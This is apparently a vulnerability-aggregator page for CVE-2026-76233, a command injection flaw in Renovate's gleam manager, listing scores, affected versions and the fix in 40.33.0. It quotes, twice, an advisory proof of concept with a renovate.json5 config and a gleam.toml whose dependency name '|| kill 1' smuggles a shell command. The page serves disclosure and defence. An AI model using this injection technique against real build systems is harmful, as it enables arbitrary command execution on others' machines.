CVE-2026-76233
Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager
Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.4
Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager
Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.
- Record
CVE-2026-76233- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 6.7 Medium
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2026-62474
8.4
Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.
- Record
EUVD-2026-62474- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xjr7-3c3g-m763
6.7
Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file
Summary
The user-provided string depName in the gleam manager is appended to the gleam deps update command without proper sanitization.
Details
Adversaries can provide a maliciously crafted gleam.toml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the packagesToUpdate variable in lib/modules/manager/gleam/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["gleam"],
// Trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}
gleam.toml:
name = "renovate-aci-2"
version = "0.0.1"
[dependencies]
"|| kill 1" = "0.1.0"
manifest.toml:
non-empty file
- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
- Record
GHSA-xjr7-3c3g-m763- CVSS 3.1
- 6.7 Medium
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xmpw-q5r4-p783
8.4
Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the...
Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.
- Record
GHSA-xmpw-q5r4-p783- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.7 Medium
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
NVD
8.4
Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.
- Record
CVE-2026-76233- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.7 Medium
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
8.4
Renovate 39.53.0 before 40.33.0 Command Injection via gleam manager
Renovate versions from 39.53.0 before 40.33.0 contain a command injection vulnerability in the gleam manager where the depName parameter is appended to gleam deps update commands without proper sanitization. Attackers with repository write access can craft malicious gleam.toml files to execute arbitrary commands on the machine running Renovate.
- Record
CVE-2026-76233- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVGHSA-xjr7-3c3g-m763
6.7
Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file
Summary
The user-provided string depName in the gleam manager is appended to the gleam deps update command without proper sanitization.
Details
Adversaries can provide a maliciously crafted gleam.toml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the packagesToUpdate variable in lib/modules/manager/gleam/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["gleam"],
// Trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}
gleam.toml:
name = "renovate-aci-2"
version = "0.0.1"
[dependencies]
"|| kill 1" = "0.1.0"
manifest.toml:
non-empty file
- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
- Record
GHSA-xjr7-3c3g-m763- CVSS 3.1
- 6.7 Medium
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
renovatenpm |
39.53.0 up to 40.33.0 | 40.33.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-76233 is a high vulnerability (CVSS 8.4) in Renovatebot Renovate, published January 13, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.00%, the 63rd percentile. Fixed in renovate 40.33.0.
References
github.com/renovatebot/renovate/security/advisories/GHSA-xjr7-3c3g-m763
github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38
vulncheck.com/advisories/renovate-before-command-injection-via-gleam-manager
github.com/advisories/GHSA-xjr7-3c3g-m763
nvd.nist.gov/vuln/detail/CVE-2026-76233
github.com/advisories/GHSA-xmpw-q5r4-p783
github.com/CVEProject/cvelistV5/tree/main/cves/2026/76xxx/CVE-2026-76233.json
github.com/renovatebot/renovate